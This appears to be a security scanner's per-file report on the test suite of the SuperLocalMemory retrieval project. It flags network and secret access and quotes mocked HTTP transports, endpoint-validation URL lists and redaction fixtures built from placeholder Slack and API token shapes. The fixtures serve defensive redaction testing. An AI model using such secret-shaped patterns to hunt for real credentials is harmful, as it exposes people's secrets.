# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
tests/test_resilience/test_writer_stall_watchdog.py
- Executable scriptline 1
Executable file
tests/test_resource_lifecycle.py
- Executable scriptline 1
Executable file
tests/test_retrieval/__init__.py
- Executable scriptline 1
Executable file
tests/test_retrieval/_media_support.py
- Executable scriptline 1
Executable file
tests/test_retrieval/conftest.py
- Executable scriptline 1
Executable file
tests/test_retrieval/cross_scope_fixture.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_date_range_includes_its_last_day.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_dead_channel_does_not_look_like_an_empty_store.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_loading_embedder_does_not_hold_recall.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_new_link_reaches_a_cached_question.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_new_memory_reaches_a_cached_question.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_reloading_model_is_waited_for.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_removed_link_stops_being_walked.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_slow_channel_is_waited_for.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_time_word_never_hides_the_memory_asked_for.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_a_withdrawn_choice_stops_every_process.py
- Executable scriptline 1
Executable file - Network accessline 37
def __init__(self) -> None: self.bodies: list[dict] = [] self.transport = httpx.MockTransport(self._handle) - Network accessline 39
self.transport = httpx.MockTransport(self._handle) - Network accessline 48
answers[CHOICE_KEY] = {"type": "choice", "choice": keys[0], "probabilities": {k: share for k in keys}} return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}}) - Network accessline 50
return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}})
tests/test_retrieval/test_activation_cache_is_written.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_adjacency_profile_lru.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_adjacency_slot_budget.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_agentic.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_an_unreadable_window_is_refused.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_ann_index.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_ann_index_lifecycle.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_answer_question_forms.py
- Executable scriptline 1
Executable file - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted]
tests/test_retrieval/test_answer_support_features.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_answerability_gate.py
tests/test_retrieval/test_bm25_archive_filter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Keyword recall must not surface archived facts. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_bm25_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_bm25_fts_does_not_duplicate_corpus.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_bm25_late_materialization.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_bm25_version_terms.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_both_seed_paths_score_alike.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_bridge_determinism.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 168
[Credential-related source omitted]
tests/test_retrieval/test_channel_guard_budget.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_community_context.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_cross_scope_seeds.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_embedding_lag_floor.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_engine.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_entity_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_entity_ranked_prefix.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_erasure_visibility.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_erasure_visibility_caches.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_evidence_features.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_evidence_floor.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_evidence_floor_is_a_cosine.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_executor_resource_lifecycle.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_first_recall_does_not_wait_for_the_warmup_graph.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_forgetting_filter.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_fusion.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_generic_secret_assignments.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 68
"Authentication uses OAuth 2.0 with PKCE for the dashboard.", "Varun prefers Sonnet 5 for routine work and Opus 5 for architecture.", "Use https://github.com/qualixar/superlocalmemory for the source.", - Network accessline 69
"Varun prefers Sonnet 5 for routine work and Opus 5 for architecture.", "Use https://github.com/qualixar/superlocalmemory for the source.", "The record id 123e4567-e89b-12d3-a456-426614174000 belongs to Atlas.", - Network accessline 70
"Use https://github.com/qualixar/superlocalmemory for the source.",
tests/test_retrieval/test_graph_freshness_check_without_counting.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_graph_watermark_seeks.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_hopfield_channel.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_hopfield_large_store_searches_run_concurrently.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_hopfield_prefilter_size.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_hosted_redaction_shapes.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Network accessline 55
[Credential-related source omitted] - Network accessline 56
[Credential-related source omitted] - Network accessline 57
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 74
("Slack app token", _j("xa", "pp-1-", "A0000000000-", HEX32), HEX32), ("Slack webhook URL", _j("https://hooks.slack.com/services/", "T00000000/B00000000/", "FAKEFAKEFAKEFAKEFAKEFAKE"), - Network accessline 75
("Slack webhook URL", _j("https://hooks.slack.com/services/", "T00000000/B00000000/", "FAKEFAKEFAKEFAKEFAKEFAKE"), "FAKEFAKEFAKEFAKEFAKEFAKE"), - Network accessline 76
_j("https://hooks.slack.com/services/", "T00000000/B00000000/", "FAKEFAKEFAKEFAKEFAKEFAKE"), - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Network accessline 131
("md5 checksum", f"md5 {HEX32} matches the download"), ("port number", "The daemon listens on port 8765 and the dashboard on 8766."), ("localhost URL", "Open http://localhost:8765/dashboard to check."), - Network accessline 132
("port number", "The daemon listens on port 8765 and the dashboard on 8766."), ("localhost URL", "Open http://localhost:8765/dashboard to check."), ("URL with a port, no credentials", "Postgres is at postgres://db1.corp.internal:543 - Network accessline 133
("localhost URL", "Open http://localhost:8765/dashboard to check."), - Access to secretsline 147
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted]
tests/test_retrieval/test_hub_baseline.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_hub_baseline_source_is_recorded.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_jev_judge.py
- Executable scriptline 1
Executable file - Network accessline 45
def _wrapped(request: httpx.Request) -> httpx.Response: recorder.requests.append(request) - Network accessline 46
recorder.requests.append(request) - Network accessline 49
return httpx.MockTransport(_wrapped), recorder - Network accessline 58
body = {"model": model, "answers": answers, "usage": {"input_tokens": 1, "output_tokens": 1}} body.update(extra) return httpx.Response(200, json=body) - Network accessline 60
return httpx.Response(200, json=body) - Network accessline 150
payload = {"model": model, "answers": answers, "usage": {}} content = json.dumps(payload, allow_nan=True).encode("utf-8") return httpx.Response(200, content=content, - Network accessline 151
content = json.dumps(payload, allow_nan=True).encode("utf-8") return httpx.Response(200, content=content, headers={"content-type": "application/json"}) - Network accessline 152
return httpx.Response(200, content=content, - Network accessline 173
def test_non_json_body_returns_none(key_store): def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, content=b"not json at all") - Network accessline 175
return httpx.Response(200, content=b"not json at all") - Network accessline 188
def test_timeout_returns_none(key_store): def handler(request: httpx.Request) -> httpx.Response: raise httpx.ReadTimeout("timed out", request=request) - Network accessline 190
raise httpx.ReadTimeout("timed out", request=request) - Network accessline 199
def test_401_returns_none(key_store): def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(401, json={"error": "unauthorized"}) - Network accessline 201
return httpx.Response(401, json={"error": "unauthorized"}) - Network accessline 210
def test_connect_error_returns_none(key_store): def handler(request: httpx.Request) -> httpx.Response: raise httpx.ConnectError("refused", request=request) - Network accessline 212
raise httpx.ConnectError("refused", request=request) - Network accessline 225
def handler(request: httpx.Request) -> httpx.Response: calls.append(request) return httpx.Response(500, json={"error": "boom"}) - Network accessline 227
return httpx.Response(500, json={"error": "boom"}) - Network accessline 295
caplog.set_level(logging.DEBUG) scenarios = [ lambda r: httpx.Response(401, json={"error": "no"}), - Network accessline 296
scenarios = [ lambda r: httpx.Response(401, json={"error": "no"}), lambda r: (_ for _ in ()).throw(httpx.ConnectError("refused", request=r)), - Network accessline 297
lambda r: httpx.Response(401, json={"error": "no"}), - Network accessline 298
lambda r: (_ for _ in ()).throw(httpx.ConnectError("refused", request=r)), - Network accessline 299
lambda r: (_ for _ in ()).throw(httpx.ReadTimeout("slow", request=r)), - Network accessline 300
lambda r: httpx.Response(200, content=b"not json"), - Network accessline 310
def test_key_never_appears_in_a_raised_exception_repr(key_store): def handler(request: httpx.Request) -> httpx.Response: raise httpx.ConnectError("refused", request=request) - Network accessline 312
raise httpx.ConnectError("refused", request=request) - Network accessline 348
def test_unknown_provider_is_rejected_at_construction(key_store): noop_transport = httpx.MockTransport(lambda r: httpx.Response(200)) - Network accessline 349
noop_transport = httpx.MockTransport(lambda r: httpx.Response(200)) - Network accessline 404
keys = list(body["questions"]) return _noul_response(model, {keys[0]: paris_score, keys[1]: meeting_score}) return httpx.MockTransport(handler) - Network accessline 406
return httpx.MockTransport(handler) - Network accessline 435
def test_check_connection_maps_http_status_to_plain_language(status, expected_message): def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(status, json={"error": "x"}) - Network accessline 437
return httpx.Response(status, json={"error": "x"}) - Network accessline 439
ok, message = check_connection("typesafe", FAKE_KEY, transport=httpx.MockTransport(handler)) - Network accessline 445
def test_check_connection_timeout_message(): def handler(request: httpx.Request) -> httpx.Response: raise httpx.ReadTimeout("slow", request=request) - Network accessline 447
raise httpx.ReadTimeout("slow", request=request) - Network accessline 449
ok, message = check_connection("typesafe", FAKE_KEY, transport=httpx.MockTransport(handler)) - Network accessline 454
def test_check_connection_unreachable_message(): def handler(request: httpx.Request) -> httpx.Response: raise httpx.ConnectError("refused", request=request) - Network accessline 456
raise httpx.ConnectError("refused", request=request) - Network accessline 458
ok, message = check_connection("typesafe", FAKE_KEY, transport=httpx.MockTransport(handler)) - Network accessline 466
def handler(request: httpx.Request) -> httpx.Response: calls.append(request) return httpx.Response(500, json={"error": "boom"}) - Network accessline 468
return httpx.Response(500, json={"error": "boom"}) - Network accessline 470
check_connection("typesafe", FAKE_KEY, transport=httpx.MockTransport(handler)) - Network accessline 477
def handler(request: httpx.Request) -> httpx.Response: calls.append(request) return httpx.Response(200, json={}) - Network accessline 479
return httpx.Response(200, json={}) - Network accessline 481
ok, message = check_connection( "not-a-provider", FAKE_KEY, transport=httpx.MockTransport(handler) - Network accessline 482
"not-a-provider", FAKE_KEY, transport=httpx.MockTransport(handler)
tests/test_retrieval/test_jev_kinds_request.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 45
def _reply(answers: dict, model: str = MODEL) -> httpx.Response: return httpx.Response(200, json={"model": model, "answers": answers, - Network accessline 46
return httpx.Response(200, json={"model": model, "answers": answers, - Network accessline 52
self.requests: list[httpx.Request] = [] self._handler = handler self.transport = httpx.MockTransport(self._wrapped) - Network accessline 54
self.transport = httpx.MockTransport(self._wrapped) - Network accessline 56
def _wrapped(self, request: httpx.Request) -> httpx.Response: self.requests.append(request) - Network accessline 57
self.requests.append(request) - Network accessline 107
def test_single_request_and_no_retry_on_500(key_store) -> None: rec = _Recorder(lambda r: httpx.Response(500, json={"error": "boom"})) - Network accessline 108
rec = _Recorder(lambda r: httpx.Response(500, json={"error": "boom"}))
tests/test_retrieval/test_jev_rerank.py
- Executable scriptline 1
Executable file - Network accessline 49
def _wrapped(request: httpx.Request) -> httpx.Response: recorder.requests.append(request) - Network accessline 50
recorder.requests.append(request) - Network accessline 53
return httpx.MockTransport(_wrapped), recorder - Network accessline 81
"usage": {"input_tokens": 1, "output_tokens": 1}} content = json.dumps(body, allow_nan=True).encode("utf-8") return httpx.Response(200, content=content, headers={"content-type": "application/json"}) - Network accessline 83
return httpx.Response(200, content=content, headers={"content-type": "application/json"}) - Network accessline 178
@pytest.mark.parametrize("asked,expected", [(100, 30), (31, 30), (2, 5), (5, 5), (20, 20)]) def test_the_candidate_count_is_clamped(self, key_store, asked, expected): judge = _judge(key_store, transport=httpx.MockTransport(_unif - Network accessline 179
def test_the_candidate_count_is_clamped(self, key_store, asked, expected): judge = _judge(key_store, transport=httpx.MockTransport(_uniform_handler), rerank_k=asked) assert judge.rerank_k == expected and judge.rerank_enabled - Network accessline 180
judge = _judge(key_store, transport=httpx.MockTransport(_uniform_handler), rerank_k=asked) - Network accessline 412
@pytest.mark.parametrize("handler", [ _raise(httpx.ReadTimeout), _raise(httpx.ConnectTimeout), _raise(httpx.ConnectError), lambda r: httpx.Response(500, json={"error": "x"}), - Network accessline 413
_raise(httpx.ReadTimeout), _raise(httpx.ConnectTimeout), _raise(httpx.ConnectError), lambda r: httpx.Response(500, json={"error": "x"}), lambda r: httpx.Response(401, json={"error": "x"}), - Network accessline 414
lambda r: httpx.Response(500, json={"error": "x"}), - Network accessline 415
lambda r: httpx.Response(401, json={"error": "x"}), - Network accessline 416
lambda r: httpx.Response(429, json={"error": "x"}), - Network accessline 417
lambda r: httpx.Response(200, content=b"not json"), - Network accessline 418
lambda r: _ok({}, model=MODEL), lambda r: httpx.Response(200, json=[1, 2, 3]), ], ids=["read_timeout", "connect_timeout", "connect_error", "http_500", "http_401", - Network accessline 419
lambda r: httpx.Response(200, json=[1, 2, 3]), - Network accessline 659
"timeout": _raise(httpx.ReadTimeout), "transport": _raise(httpx.ConnectError), "http_500": lambda r: httpx.Response(500, json={"error": "x"}), - Network accessline 660
"transport": _raise(httpx.ConnectError), "http_500": lambda r: httpx.Response(500, json={"error": "x"}), "not_json": lambda r: httpx.Response(200, content=b"<html>"), - Network accessline 661
"http_500": lambda r: httpx.Response(500, json={"error": "x"}), - Network accessline 662
"not_json": lambda r: httpx.Response(200, content=b"<html>"),
tests/test_retrieval/test_judge_recipe.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_judge_threshold_measured_on_this_store.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_kind_aware_recall.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_kind_aware_wiring.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_kind_filter.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_kind_recall_searches_inside_the_kind.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_lan_endpoint_security.py
- Executable scriptline 1
Executable file - Network accessline 168
@pytest.mark.parametrize("url", [ "http://10.0.0.7:8041/v1/rerank", - Network accessline 169
"http://10.0.0.7:8041/v1/rerank", - Network accessline 170
"http://172.16.4.2:8041/v1/rerank", - Network accessline 171
"http://192.168.1.50:8041/v1/rerank", - Network accessline 172
"http://169.254.1.1:8041/v1/rerank", - Network accessline 173
"http://[fc00::1]:8041/v1/rerank", - Network accessline 174
"http://[fe80::1]:8041/v1/rerank", - Network accessline 175
"http://[::ffff:192.168.1.1]:8041/v1/rerank", - Network accessline 182
@pytest.mark.parametrize("url", [ "http://172.15.255.255:8041/v1/rerank", - Network accessline 183
"http://172.15.255.255:8041/v1/rerank", - Network accessline 184
"http://172.32.0.0:8041/v1/rerank", - Network accessline 191
@pytest.mark.parametrize("url", [ "http://8.8.8.8:8041/v1/rerank", - Network accessline 192
"http://8.8.8.8:8041/v1/rerank", - Network accessline 193
"http://1.1.1.1:8041/v1/rerank", - Network accessline 194
"http://9.9.9.9:8041/v1/rerank", - Network accessline 200
@pytest.mark.parametrize("url", [ "http://my-reranker.lan:8041/v1/rerank", - Network accessline 201
"http://my-reranker.lan:8041/v1/rerank", - Network accessline 202
"http://llm.internal:8041/v1/rerank", - Network accessline 219
@pytest.mark.parametrize("url", [ "http://192.168.1.50:8041/v1/rerank", - Network accessline 220
"http://192.168.1.50:8041/v1/rerank", - Network accessline 221
"http://10.0.0.7:8041/v1/rerank", - Network accessline 222
"http://172.16.4.2:8041/v1/rerank", - Network accessline 238
assert validate_remote_reranker_config( "openai", "http://127.0.0.1:8041/v1/rerank", - Network accessline 239
"openai", "http://127.0.0.1:8041/v1/rerank", trust_plain_http_lan=False, - Network accessline 240
"http://127.0.0.1:8041/v1/rerank", - Network accessline 247
assert validate_remote_reranker_config( "openai", "https://192.168.1.50:8041/v1/rerank", - Network accessline 248
"openai", "https://192.168.1.50:8041/v1/rerank", trust_plain_http_lan=flag, - Network accessline 249
"https://192.168.1.50:8041/v1/rerank",
tests/test_retrieval/test_lance_projection_agrees_with_the_canonical_search.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_laya_kinds_protocol.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 30
[Credential-related source omitted]
tests/test_retrieval/test_laya_recall_priority.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted]
tests/test_retrieval/test_laya_worker_stop_reaps.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_meaning_search_without_the_vector_extension.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_media_answer_check.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_media_channel.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_media_channel_erasure.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_media_channel_space.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_media_engine.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_media_rerank.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_media_scope_cache.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_media_serializer.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_numpy_tie_stability.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_phase4_bitemporal_completion.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_pipeline_order.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_pr253_assertion_context.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_pr253_query_backpressure.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_pr253_real_questions.py
tests/test_retrieval/test_pr253_source_assertions.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_project_scope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_project_scope_learned_ranking.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_project_scope_ranking.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_q9_identity_old_vs_new_envelope.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_quant_aware_search.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_query_intent_reaches_temporal_channel.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_query_rewrite.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_query_status_when_daemon_is_down.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_questions_use_the_query_prompt.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_ranking_is_a_total_order.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_recall_abstains_on_nonsense_with_the_real_model.py
tests/test_retrieval/test_recall_channel_indexes.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_recall_does_not_branch_on_the_clock.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_recall_facets.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_recall_latency_budget.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_recall_never_writes_entities.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_retrieval/test_recall_wide_row_index.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_recall_wiring_without_the_vector_extension.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_recency_prior.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_remaining_scope_contract.py
- Executable scriptline 1
Executable file
tests/test_retrieval/test_remote_reranker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 41
ENDPOINT = "https://reranker.example.test/v1/rerank" - Network accessline 88
def _handler(request: httpx.Request) -> httpx.Response: recorder.requests.append(request) - Network accessline 89
recorder.requests.append(request) - Network accessline 92
def _factory(**kwargs: Any) -> httpx.Client: kwargs.pop("transport", None) return real_client(transport=httpx.MockTransport(_handler), **kwargs) - Network accessline 94
return real_client(transport=httpx.MockTransport(_handler), **kwargs) - Network accessline 100
def _ok_response(scores_by_index: dict[int, float]) -> Callable: def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={ - Network accessline 101
def handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={ "results": [ - Network accessline 102
return httpx.Response(200, json={ - Network accessline 180
def test_url_without_host_is_rejected(self) -> None: error = validate_remote_reranker_config("openai", "http:///v1/rerank") - Network accessline 181
error = validate_remote_reranker_config("openai", "http:///v1/rerank") - Network accessline 185
def test_https_is_allowed(self) -> None: assert validate_remote_reranker_config( "openai", "https://rerank.internal/v1/rerank", - Network accessline 186
assert validate_remote_reranker_config( "openai", "https://rerank.internal/v1/rerank", ) is None - Network accessline 187
"openai", "https://rerank.internal/v1/rerank", - Network accessline 190
